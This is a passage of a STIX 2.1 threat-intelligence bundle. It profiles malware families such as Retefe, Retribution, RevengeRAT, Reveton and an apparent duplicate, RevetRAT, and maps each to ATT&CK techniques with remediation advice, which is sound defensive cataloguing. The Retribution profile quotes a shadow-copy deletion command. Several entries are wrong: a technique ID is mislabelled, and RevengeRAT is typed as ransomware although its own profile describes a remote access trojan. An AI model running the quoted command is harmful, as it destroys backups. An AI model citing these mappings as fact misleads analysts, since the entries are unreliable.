      "id": "relationship--5e28e845-5841-5740-a17a-a460d9e0c9b3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bf949dfc-8087-58ba-a2c3-bac902f1fe3b",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Resur exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a7ff46a0-c253-58e5-8fed-d3cf6004041e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bf949dfc-8087-58ba-a2c3-bac902f1fe3b",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Resur exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ac6495c4-16d7-5d7c-aaf6-f715437cafd2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bf949dfc-8087-58ba-a2c3-bac902f1fe3b",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Resur exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4ea1c389-0b38-530f-80ec-b25c58f0e0cf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bf949dfc-8087-58ba-a2c3-bac902f1fe3b",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Resur exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--fc76e1c9-6bf9-5eb6-9939-3f7f6d16cf83",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Retefe",
      "description": "Retefe (historically documented as Trojan:Win32/Retefe and Trojan-Banker.Win32.Retefe) is a sophisticated banking trojan that actively targeted banking institutions across Switzerland, Austria, Sweden, and Japan from 2013 to 2019. Distributed via spear-phishing emails with malicious .zip or .js attachments, Retefe modifies system proxy settings and installs a rogue Certificate Authority (CA) root certificate directly into the Windows Certificate Store. It routes web traffic destined for targeted online banking domains through the Tor anonymity network or attacker-controlled proxy servers. This man-in-the-middle architecture allows Retefe to inject malicious web forms, harvest banking credentials, and intercept two-factor authentication tokens seamlessly without raising browser SSL/TLS certificate warnings. (Observed samples in benchmark: 13)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Retefe",
        "Trojan-Banker.Win32.Retefe",
        "Win32/Retefe",
        "Retefe Banking Trojan",
        "Retefe Proxy Trojan"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Retefe",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/retefe"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--edb1cb7e-87b7-52b9-8b02-bdb06c87285a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fc76e1c9-6bf9-5eb6-9939-3f7f6d16cf83",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Retefe exhibits technique T1562.001 (Impair Defenses (Modifying Proxy/PAC Settings))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a1dd266f-8051-56ad-8f20-54357ee40391",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fc76e1c9-6bf9-5eb6-9939-3f7f6d16cf83",
      "target_ref": "attack-pattern--6f631ec3-e630-56f5-aa76-3a7fcdcfd927",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Retefe exhibits technique T1552.004 (Install Root Certificate)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--72951a6b-35c3-5e95-b99c-8c88858f6a3b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fc76e1c9-6bf9-5eb6-9939-3f7f6d16cf83",
      "target_ref": "attack-pattern--6991b3b3-2955-56ba-a0a0-3dadb5d30fae",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Retefe exhibits technique T1059.001 (Command and Scripting Interpreter: PowerShell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a0655956-aab6-54d5-8c9a-e03558789056",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fc76e1c9-6bf9-5eb6-9939-3f7f6d16cf83",
      "target_ref": "attack-pattern--cc845d08-6fc5-5758-8728-20ef39b3945b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Retefe exhibits technique T1090.003 (Connection Proxy: Multi-hop Proxy (Tor))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ad97c6b8-dbb0-549e-a656-3eab74cb5f8c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fc76e1c9-6bf9-5eb6-9939-3f7f6d16cf83",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Retefe exhibits technique T1185 (Browser Session Hijacking (Man-in-the-Middle via Proxy))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--155a9d92-755a-515f-a136-f29ef55109c5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Retribution",
      "description": "<h3>Executive Summary</h3>\nRetribution is a destructive family of Ransomware designed to infiltrate Windows systems, rapidly encrypt valuable user data, and extort the victim for financial gain. Like many mid-tier ransomware families, Retribution relies on aggressive distribution tactics and strong cryptographic algorithms to deny access to critical files, causing significant operational downtime for affected organizations and individuals.\n\n<h3>Infection Vector and Encryption Mechanics</h3>\nRetribution is most frequently distributed via malicious spam (malspam) campaigns containing weaponized attachments (e.g., Office documents with macro exploits or deceptive ZIP archives) or via exploit kits hosted on compromised websites.\n\nOnce executed, the ransomware initiates its encryption routine:\n<ul>\n<li><strong>Pre-Encryption Evasion:</strong> Retribution typically attempts to disable local antivirus services and delete Volume Shadow Copies (`vssadmin.exe Delete Shadows /All /Quiet`) to prevent easy recovery of the encrypted files via Windows System Restore.</li>\n<li><strong>Data Encryption:</strong> The malware scans local drives and mapped network shares for specific file extensions (documents, databases, images, archives). It utilizes a robust cryptographic implementation to lock the files, appending a specific extension (often `.retribution` or a unique ID) to the compromised data.</li>\n<li><strong>Extortion:</strong> After encryption is complete, Retribution drops a ransom note in every affected directory and often changes the desktop wallpaper. The note provides instructions for paying the ransom in cryptocurrency to obtain the decryption key.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Retribution infection is a critical security incident that directly impacts data availability and business continuity. Because it aggressively targets mapped network drives, a single compromised endpoint can rapidly encrypt shared corporate data repositories, magnifying the impact of the attack.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Immediate Network Isolation:</strong> The infected host must be immediately disconnected from the LAN and Wi-Fi to halt the encryption of mapped network shares and sever communication with the attacker's C2 infrastructure.</li>\n<li><strong>Do Not Pay:</strong> Paying the ransom funds criminal enterprises and does not guarantee data recovery. Check resources like the \"No More Ransom\" project for potential free decryption utilities.</li>\n<li><strong>Restore from Backup:</strong> The most reliable recovery method is to wipe the infected system completely, reinstall the operating system, and restore data from a clean, offline, immutable backup.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan-Ransom.Win32.Retribution",
        "Ransom:Win32/Retribution"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Retribution",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/retribution"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0238e4d3-f672-5ea6-8370-f67ce4505036",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--155a9d92-755a-515f-a136-f29ef55109c5",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Retribution exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--074543a1-0df3-5499-8593-c88f7951ca6f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--155a9d92-755a-515f-a136-f29ef55109c5",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Retribution exhibits technique T1490 (Inhibit System Recovery (Behaviorally blocking the deletion of backups))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0b844b5c-e399-570a-96ef-d904bc545150",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--155a9d92-755a-515f-a136-f29ef55109c5",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Retribution exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--994107cc-8a26-5cce-aec0-81a909bde502",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Revealerkeylogger",
      "description": "<h3>Executive Summary</h3>\nRevealer Keylogger is a commercially available monitoring application (often marketed as \"employee monitoring\" or \"parental control\" software). However, due to its powerful, invisible surveillance capabilities, it is highly categorized as \"Riskware\" or a \"HackTool\" by enterprise security solutions. Threat actors frequently weaponize this legitimate software, deploying it silently on compromised hosts to act as an Info Stealer, capturing sensitive credentials and proprietary data without triggering standard malware heuristics.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nRevealer Keylogger must be intentionally installed. In a malicious scenario, it is either installed by a malicious insider with physical access or deployed remotely by an attacker who has already achieved administrative privileges on the endpoint.\n\nOnce deployed, it utilizes deeply embedded monitoring techniques:\n<ul>\n<li><strong>API Hooking and Surveillance:</strong> The application deeply hooks into the Windows API to record every keystroke pressed by the user, regardless of the application in focus. It also takes periodic, hidden screenshots of the user's desktop.</li>\n<li><strong>Extreme Stealth Mode:</strong> The defining feature of Revealer Keylogger is its \"stealth mode.\" When activated, it completely hides its processes from the standard Windows Task Manager, removes its entries from the Windows Startup registry keys, and operates invisibly in the background.</li>\n<li><strong>Automated Data Exfiltration:</strong> The software can be configured to automatically compile the harvested keystroke logs and screenshots and exfiltrate them silently via email (SMTP), FTP upload, or over a local network share to a designated attacker-controlled location.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe unauthorized presence of Revealer Keylogger on a corporate endpoint is a critical security breach. It guarantees the compromise of all passwords typed on that machine, leading to unauthorized access to enterprise systems, potential privilege escalation, and severe data leakage.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Contextual Verification:</strong> First, determine if the installation was authorized (e.g., a sanctioned insider threat investigation by HR/Legal). This is rare, as enterprise monitoring is usually handled by centralized DLP solutions, not standalone keyloggers.</li>\n<li><strong>Assume Total Credential Compromise:</strong> If unauthorized, immediately assume all user credentials, VPN tokens, and sensitive data processed on that machine have been compromised. Initiate a mandatory, global password reset for the affected user(s).</li>\n<li><strong>Complete System Wipe:</strong> Because commercial keyloggers are designed to deeply hide themselves and resist removal, attempting to manually uninstall the software is insufficient. A complete bare-metal wipe and re-image of the compromised endpoint is required.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Riskware.RevealerKeylogger",
        "HackTool.Keylogger",
        "Spyware.Revealer"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Revealerkeylogger",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/revealerkeylogger"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7ab908a9-a1ad-5810-bfdd-904a6df16fa2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--994107cc-8a26-5cce-aec0-81a909bde502",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Revealerkeylogger exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f5ad3b6c-2066-57bd-b8d4-55985b6a406a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--994107cc-8a26-5cce-aec0-81a909bde502",
      "target_ref": "attack-pattern--d7bd29aa-86c7-5903-8cae-4f2aef4d2e59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Revealerkeylogger exhibits technique T1115 (Clipboard Data)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f6b4cf37-9a6a-5080-bf58-1dbd335bb466",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--994107cc-8a26-5cce-aec0-81a909bde502",
      "target_ref": "attack-pattern--a756c800-cad0-5d72-8bcc-aef0617822bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Revealerkeylogger exhibits technique T1056.002 (Input Capture: GUI Input Capture (Monitoring active window titles for targeted banks))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f530aace-8594-5c30-99ae-912afa1125aa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Revenge",
      "description": "Revenge (cataloged across security vendors and threat intelligence databases under signatures including Backdoor:Win32/Revenge, Backdoor:MSIL/RevengeRAT, and RevengeRAT) is a prominent, commercial .NET remote access trojan (RAT) first released on underground hacking forums in 2016. Developed by an actor using the handle 'Revenge-Software', the tool gained widespread adoption among both cybercrime syndicates and advanced persistent threat (APT) actors due to its lightweight footprint, stability, and extensive feature set. Once executed, RevengeRAT establishes startup persistence via Windows Registry Run keys, conducts system reconnaissance, and establishes an encrypted TCP socket connection to attacker C2 servers. RevengeRAT features comprehensive surveillance capabilities, including real-time keystroke logging, desktop screen streaming, webcam and audio recording, credential dumping, and remote shell execution. (Observed samples in benchmark: 41)",
      "is_family": true,
      "malware_types": [
        "backdoor"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Backdoor:Win32/Revenge",
        "Backdoor:MSIL/RevengeRAT",
        "RevengeRAT",
        "Win32/Revenge",
        "Trojan:MSIL/RevengeRAT"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Revenge",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/revenge"
        }
      ],
      "labels": [
        "backdoor",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--58a2401b-c8dd-5b87-9acb-d99e913d7f30",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Revengerat",
      "description": "<h3>Executive Summary</h3>\nRevengeRAT is a highly capable, commercially available Remote Access Trojan (RAT) sold on underground cybercrime forums. It provides threat actors with a fully featured graphical user interface (GUI) to covertly control infected Windows machines, conduct espionage, and steal sensitive data. It is widely utilized by both financially motivated cybercriminals and Advanced Persistent Threat (APT) groups.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nRevengeRAT is heavily distributed via spear-phishing campaigns utilizing malicious macro-enabled Office documents, or it is dropped by other loaders (like GuLoader). Attackers frequently host the payload on legitimate cloud services (like Pastebin or Discord) to bypass perimeter blocking.\n\nOnce executed, RevengeRAT provides extensive, silent remote control capabilities:\n<ul>\n<li><strong>Surveillance and Espionage:</strong> The RAT grants the attacker the ability to covertly view the victim's desktop in real-time, activate the webcam and microphone, log all keystrokes (keylogging), and steal saved passwords from web browsers and email clients.</li>\n<li><strong>Credential Harvesting:</strong> It actively targets and extracts credentials from browsers (Chrome, Firefox), FTP clients (FileZilla), and cryptocurrency wallets.</li>\n<li><strong>File System Manipulation and Execution:</strong> The attacker has full interactive access to the file system. They can download, upload, and execute files, allowing for the silent deployment of secondary malware, such as ransomware or crypto-miners. It can also execute PowerShell and CMD commands remotely.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA RevengeRAT infection is a critical security incident. The presence of an active RAT means the network perimeter has completely failed, and a human adversary currently has interactive, administrative-level access to the internal network. Data exfiltration and lateral movement are highly likely.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Isolation:</strong> The highest priority is to physically disconnect the infected machine from the network to sever the attacker's interactive connection and prevent further lateral movement.</li>\n<li><strong>Forensic Triage:</strong> Utilize Endpoint Detection and Response (EDR) to identify the specific processes injected by RevengeRAT and analyze its network connections to identify the C2 infrastructure.</li>\n<li><strong>Enterprise Password Reset and Re-imaging:</strong> Because the attacker had interactive access and keylogging capabilities, all credentials used on or accessible from the compromised endpoint must be reset immediately. The endpoint itself must undergo a complete bare-metal wipe and re-image.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Backdoor.RevengeRAT",
        "Trojan.Revenge",
        "Win32/RevengeRAT"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Revengerat",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/revengerat"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--51cde7f9-05c5-56f3-a931-9b7eeb20fdaf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--58a2401b-c8dd-5b87-9acb-d99e913d7f30",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Revengerat exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--75dde4f7-2289-599c-9d2c-20ba0db0fc47",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--58a2401b-c8dd-5b87-9acb-d99e913d7f30",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Revengerat exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2ade8e3f-c0e8-517c-824c-a3ccd3000527",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--58a2401b-c8dd-5b87-9acb-d99e913d7f30",
      "target_ref": "attack-pattern--a2c12d81-fb9f-59fa-85a2-540a18fb3ffb",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Revengerat exhibits technique T1125 (Video/Audio Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1e3f6249-fece-5f1c-aec1-0891c633f8c2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--58a2401b-c8dd-5b87-9acb-d99e913d7f30",
      "target_ref": "attack-pattern--f2e09458-77a2-5600-b8a7-231363608c16",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Revengerat exhibits technique T1021 (Remote Services (Lateral movement to critical bank infrastructure))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--aa728bf9-7e83-5df2-8a6d-92d4e2f0a57f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Reveton",
      "description": "Ransom:Win32/Reveton represents a historically significant evolutionary step in cyber extortion, commonly known as **'Police Ransomware' or a 'Screen Locker'**. Predating the widespread use of modern crypto-ransomware (which encrypts files), Reveton operated entirely on social engineering and intimidation. It locked the victim's computer screen, preventing access to the Windows desktop, and displayed a highly realistic, localized warning message claiming to be from the FBI, Interpol, or local law enforcement. The message accused the user of illegal activities (such as downloading pirated media or viewing child pornography) and demanded an immediate 'fine' paid via prepaid vouchers like Ukash, Paysafecard, or MoneyPak.<br><br><b>Understanding Reveton (Screen Lockers)</b><br>To an end-user, Reveton was terrifying; the computer was completely unusable, the warning looked official (often featuring logos of local police), and it frequently utilized the victim's webcam to display a live feed of their face on the ransom note, maximizing the psychological pressure. For a SOC analyst, Reveton was a nuisance malware that relied on restricting access to the shell, rather than destroying data. However, later variants were often bundled with password stealers (like Citadel or Zeus) acting in the background.<br><br><b>Execution and Locking Mechanics</b><br>Reveton was primarily distributed via Exploit Kits (like Blackhole or Cool EK) hosted on compromised websites or malvertising networks (`T1189`). When a vulnerable browser navigated to the site, the exploit executed the Reveton payload silently (`T1203`). Upon execution, Reveton immediately established persistence, often by modifying the `Winlogon\\Shell` registry key (`T1547.004`). Instead of loading `explorer.exe` on boot, Windows would load the Reveton executable. The malware then launched a full-screen, borderless window (`T1491.001`) that could not be closed via Alt+F4 or Task Manager (`T1562.001`). It determined the victim's geographic location via IP address (`T1614.001`) to display a customized ransom note in the local language, citing local laws.<br><br><b>Indicators of Compromise & Impact</b><br>The impact was a complete denial of service to the workstation, though data was usually unharmed. Host-based IoCs were obvious: the inability to access the desktop, Task Manager, or Start menu, and the presence of anomalous executables in the `Winlogon\\Shell` or `Userinit` registry keys. Network IoCs included traffic to C2 servers to download the localized HTML/image templates for the ransom note. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Reveton",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/reveton"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bf381ade-1ea4-5d7b-8112-23151af3c680",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--aa728bf9-7e83-5df2-8a6d-92d4e2f0a57f",
      "target_ref": "attack-pattern--781c5255-115d-5757-8797-90b90215b35c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Reveton exhibits technique T1491.001 (Defacement: Internal Defacement (The full-screen Police warning))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4de8e6d2-c1aa-5eb8-90a6-c993c66decbd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--aa728bf9-7e83-5df2-8a6d-92d4e2f0a57f",
      "target_ref": "attack-pattern--94721101-d9aa-5afe-bf2a-f61447bdc809",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Reveton exhibits technique T1547.004 (Boot or Logon Autostart Execution: Winlogon Helper DLL (Hijacking the Shell))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2479d769-2a67-5854-8d68-3f997cdb7940",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--aa728bf9-7e83-5df2-8a6d-92d4e2f0a57f",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Reveton exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Blocking Task Manager/Safe Mode))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dc58fbf2-ea6e-5b3c-8e50-2ce760a90c83",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--aa728bf9-7e83-5df2-8a6d-92d4e2f0a57f",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Reveton exhibits technique T1189 (Drive-by Compromise (Exploit Kits))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--099c84da-0642-5786-b2dd-614c45634dfc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Revetrat",
      "description": "RevetRAT (cataloged across security vendors and threat intelligence databases under signatures including Backdoor:Win32/RevengeRAT, Trojan:Win32/RevetRAT, and MSIL/RevengeRAT) is a lightweight, full-featured commercial and open-source remote access trojan programmed in C# (.NET) active since 2016. Heavily favored by commodity cybercriminals, initial access brokers, and advanced persistent threat (APT) groups alike, RevetRAT is distributed via phishing campaigns with weaponized Office documents, archive attachments, and trojanized utility software. Once loaded, RevetRAT maintains persistence via Windows CurrentVersion\\Run registry keys and scheduled tasks. The backdoor establishes encrypted TCP or TLS socket connections with operator C2 infrastructure, providing extensive remote surveillance capabilities including keystroke logging, webcam/microphone capture, desktop screenshot grabbing, stored browser credential extraction, remote file management, and interactive command-line shell execution. (Observed samples in benchmark: 50)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Backdoor:Win32/RevengeRAT",
        "Trojan:Win32/RevetRAT",
        "MSIL/RevengeRAT",
        "Revenge RAT",
        "Win32/RevengeRAT"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Revetrat",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/revetrat"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a360012f-6673-5bd7-9f51-a54ac9e83b3a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--099c84da-0642-5786-b2dd-614c45634dfc",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Revetrat exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c9bc1bf3-01b3-5c40-baf1-d67ae23cadb3",
      "created": "2026-01-01T00:00:00.000Z",
